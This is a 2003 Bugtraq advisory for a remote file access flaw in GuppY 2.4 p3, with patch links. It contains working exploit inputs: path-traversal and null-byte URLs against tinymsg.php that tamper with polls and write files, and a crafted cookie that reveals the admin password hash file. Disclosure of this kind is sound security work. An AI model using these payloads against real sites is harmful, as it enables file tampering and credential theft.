GuppY Remote File Access Vulnerability

Bugtraq ID:	8769
Class:	Access Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 05 2003 12:00AM
Updated:	Oct 05 2003 12:00AM
Credit:	Discovery is credited to Frog Man <[email protected]>.
Vulnerable:	Guppy GuppY 2.4 p3
Not Vulnerable:	Guppy GuppY 2.4 p4

GuppY Remote File Access Vulnerability

The following examples were provided:

- http://[target]/tinymsg.php?action=2&from=Youpi!||Great
!||rose||10000&msg=1&to=../poll
will add a possibility to the current poll : "Youpi!" with the pink color
("rose" in french) and a score of 10000.

- http://[target]//tinymsg.php?action=2&to=../../tadaam.html%00&from=youpi1&msg=youpi2
will write into http://[target]/tadaam.html the line :
0\nyoupi1||[DATE+HEURE]||youpi2

- The cookie named "GuppYUser" and with the value :
fr||../../admin/mdp.php%00||[MAIL]||LR||||on||1
sent to the page : http://[target]/tinymsg.php?action=3 will show the
source of the file http://[target]/admin/mdp.php (containing the md5-crypted
admin password).

GuppY Remote File Access Vulnerability

Solution:
The vendor has released a patch and an updated version of GuppY.

Patch: http://www.freeguppy.org/file/guppy_patch.zip
Version 2.4p4: http://www.freeguppy.org/file/guppy.zip

GuppY Remote File Access Vulnerability

References:

• GuppY Cross-site Scripting (GuppY)
  
• GuppY Homepage (GuppY)
  
• GuppY : XSS, Files Reading/Writing ("Frog Man" )